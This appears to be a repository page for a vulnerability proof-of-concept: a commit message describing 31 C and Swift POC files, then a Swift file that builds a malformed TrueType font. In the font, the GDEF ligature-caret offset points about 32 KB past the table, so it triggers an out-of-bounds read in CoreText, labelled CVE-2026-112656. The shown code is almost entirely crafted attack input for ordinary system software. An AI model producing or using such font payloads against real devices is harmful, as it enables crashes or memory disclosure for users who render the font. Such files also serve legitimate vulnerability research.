- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
126 lines
5.1 KiB
Swift
126 lines
5.1 KiB
Swift
// font.gdef · CoreText · GetLigatureCaretPositionsForGlyph · CVE-2026-112656
|
|
// GDEFLigatureCaret offset-chain out-of-bounds read
|
|
import Foundation
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: FontPayload) ──
|
|
enum FontPayload {
|
|
static func gdefCaretChase() -> Data {
|
|
var tables: [(String, [UInt8])] = []
|
|
|
|
// head
|
|
var head = [UInt8](repeating: 0, count: 54)
|
|
head[0] = 0x00; head[1] = 0x01; head[2] = 0x00; head[3] = 0x00
|
|
head[4] = 0x00; head[5] = 0x01; head[6] = 0x00; head[7] = 0x00
|
|
head[12] = 0x5F; head[13] = 0x0F // magic
|
|
tables.append(("head", head))
|
|
|
|
// hhea
|
|
var hhea = [UInt8](repeating: 0, count: 36)
|
|
hhea[0] = 0x00; hhea[1] = 0x01
|
|
hhea[34] = 0x00; hhea[35] = 0x00
|
|
tables.append(("hhea", hhea))
|
|
|
|
// maxp
|
|
var maxp = [UInt8](repeating: 0, count: 32)
|
|
maxp[0] = 0x00; maxp[1] = 0x00; maxp[2] = 0x50; maxp[3] = 0x00
|
|
maxp[4] = 0x00; maxp[5] = 0x01
|
|
tables.append(("maxp", maxp))
|
|
|
|
// hmtx
|
|
tables.append(("hmtx", [0x02, 0x00, 0x00, 0x00]))
|
|
|
|
// loca (short format, 2 glyphs)
|
|
tables.append(("loca", [0x00, 0x00, 0x00, 0x04]))
|
|
|
|
// glyf
|
|
tables.append(("glyf", [0x00, 0x00, 0x00, 0x00]))
|
|
|
|
// cmap (format 4, minimal)
|
|
var cmap = [UInt8]()
|
|
cmap += B.be16(0) + B.be16(1)
|
|
cmap += B.be16(3) + B.be16(1) + B.be32(12)
|
|
cmap += B.be16(4) + B.be16(24) + B.be16(0)
|
|
cmap += B.be16(2) + B.be16(2) + B.be16(0) + B.be16(0)
|
|
cmap += B.be16(0xFFFF) + B.be16(0) + B.be16(0)
|
|
tables.append(("cmap", cmap))
|
|
|
|
// GDEF with a LigCaretList whose CaretValue offset runs past the table
|
|
var gdef = [UInt8]()
|
|
gdef += B.be16(0x0001) + B.be16(0x0000) // version 1.0
|
|
gdef += B.be16(0x0000) // glyphClassDefOffset — absent
|
|
gdef += B.be16(0x0000) // attachListOffset — absent
|
|
gdef += B.be16(0x000C) // ligCaretListOffset → 12
|
|
gdef += B.be16(0x0000) // markAttachClassDefOffset — absent
|
|
// LigCaretList at 12
|
|
gdef += B.be16(0x000C) // coverageOffset → 24
|
|
gdef += B.be16(0x0001) // ligGlyphCount
|
|
gdef += B.be16(0x0010) // ligGlyphOffsets[0] → 28
|
|
gdef += B.be16(0x0000) // pad
|
|
// Coverage at 24: format 1, glyph 1
|
|
gdef += B.be16(0x0001) + B.be16(0x0001) + B.be16(0x0001)
|
|
// LigGlyph at 28
|
|
gdef += B.be16(0x0001) // caretCount
|
|
gdef += B.be16(0x7F00) // caretValueOffsets[0] — ~32 KB past the table
|
|
tables.append(("GDEF", gdef))
|
|
|
|
// --- assemble
|
|
let numTables = UInt16(tables.count)
|
|
var header = Data()
|
|
header.append(contentsOf: B.be32(0x0001_0000))
|
|
header.append(contentsOf: B.be16(numTables))
|
|
var searchRange: UInt16 = 1
|
|
var entrySelector: UInt16 = 0
|
|
while searchRange * 2 <= numTables { searchRange *= 2; entrySelector += 1 }
|
|
searchRange *= 16
|
|
header.append(contentsOf: B.be16(searchRange))
|
|
header.append(contentsOf: B.be16(entrySelector))
|
|
header.append(contentsOf: B.be16(numTables * 16 - searchRange))
|
|
|
|
var body = Data()
|
|
var offset = 12 + Int(numTables) * 16
|
|
var records = Data()
|
|
var blobs = Data()
|
|
for (tag, bytes) in tables.sorted(by: { $0.0 < $1.0 }) {
|
|
records.append(contentsOf: B.ascii(tag))
|
|
records.append(contentsOf: B.be32(0x0001_0000)) // checksum (unchecked by parsers)
|
|
records.append(contentsOf: B.be32(UInt32(offset)))
|
|
records.append(contentsOf: B.be32(UInt32(bytes.count)))
|
|
var padded = bytes
|
|
while padded.count % 4 != 0 { padded.append(0) }
|
|
blobs.append(contentsOf: padded)
|
|
offset += padded.count
|
|
}
|
|
body.append(records)
|
|
body.append(blobs)
|
|
|
|
var out = Data()
|
|
out.append(header)
|
|
out.append(body)
|
|
return out
|
|
}
|
|
|
|
}
|
|
|
|
|